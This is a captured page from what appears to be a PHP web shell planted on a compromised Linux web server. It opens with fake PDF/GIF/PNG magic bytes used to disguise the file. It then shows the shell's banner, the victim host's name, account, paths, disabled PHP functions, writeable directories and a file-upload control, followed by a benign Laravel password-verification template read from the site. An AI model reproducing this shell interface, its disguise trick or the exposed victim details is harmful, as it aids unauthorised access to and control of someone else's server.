%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/www/admin1/resources/views/projects/notes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/www/admin1/resources/views/projects/notes/verify-password.blade.php
<div class="modal-header">
    <h5 class="modal-title" id="modelHeading">@lang('app.verify') @lang('app.password')</h5>
    <button type="button"  class="close" data-dismiss="modal" aria-label="Close"><span
            aria-hidden="true">×</span></button>
</div>
<div class="modal-body">

    <x-form id="checkForpassword">
        <div class="row">
            <div class="col-sm-12">
                <x-forms.password
                    fieldId="password"
                    :fieldLabel="__('app.password')"
                    fieldName="password"
                    :fieldPlaceholder="__('placeholders.renterPassword')"
                    :fieldRequired="true">
                </x-forms.password>
            </div>
        </div>
    </x-form>

</div>
<div class="modal-footer">
    <x-forms.button-cancel data-dismiss="modal" class="border-0 mr-3">@lang('app.cancel')</x-forms.button-cancel>
    <x-forms.button-primary id="check-password" icon="check">@lang('app.verify')</x-forms.button-primary>
</div>

<script>

    $('#check-password').click(function() {
        let url = "{{ route('project_notes.check_password') }}";

        let token = "{{ csrf_token() }}";

        let password = $('#password').val();

        let noteId = "{{ $note->id }}";

        $.easyAjax({
            url: url,
            container: '#checkForpassword',
            type: "POST",
            data: { note_id : noteId, '_token': token, password: password },
            success: function(response) {
                if (response.status == 'success') {
                    $(MODAL_LG).modal('hide');
                    getNoteDetail(noteId);
                }
            }
        })
    });

</script>

VaKeR 2022